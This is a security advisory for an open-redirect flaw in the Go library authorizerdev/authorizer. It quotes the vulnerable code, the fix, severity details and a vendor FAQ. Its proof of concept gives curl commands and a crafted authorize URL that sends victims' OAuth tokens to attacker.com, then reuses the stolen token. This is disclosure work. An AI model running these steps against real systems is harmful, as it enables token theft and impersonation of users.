CVE-2026-54072

Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
    redirectURI = redirectURI + "&" + params
} else {
    redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL

# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")

echo "client_id: $CLIENT_ID"

# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"

echo "Send to victim: $MALICIOUS_URL"

# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...

# 4. Validate stolen token
curl -s http://TARGET/userinfo \
  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"[email protected]","id":"...","roles":["user"]}

// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
        "error":             "invalid_request",
        "error_description": "redirect_uri is not allowed",
    }, http.StatusBadRequest)
    return
}

An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

CVE-2026-54072 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260409051328-bd3f5baf6d3d); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-54072? CVE-2026-54072 is a critical-severity open redirect vulnerability in github.com/authorizerdev/authorizer (go), affecting versions < 0.0.0-20260409051328-bd3f5baf6d3d. It is fixed in 0.0.0-20260409051328-bd3f5baf6d3d. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
2. How severe is CVE-2026-54072? CVE-2026-54072 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/authorizerdev/authorizer are affected by CVE-2026-54072? github.com/authorizerdev/authorizer (go) versions < 0.0.0-20260409051328-bd3f5baf6d3d is affected.
4. Is there a fix for CVE-2026-54072? Yes. CVE-2026-54072 is fixed in 0.0.0-20260409051328-bd3f5baf6d3d. Upgrade to this version or later.
5. Is CVE-2026-54072 exploitable, and should I be worried? Whether CVE-2026-54072 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54072 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54072? Upgrade github.com/authorizerdev/authorizer to 0.0.0-20260409051328-bd3f5baf6d3d or later.

Other vulnerabilities in github.com/authorizerdev/authorizer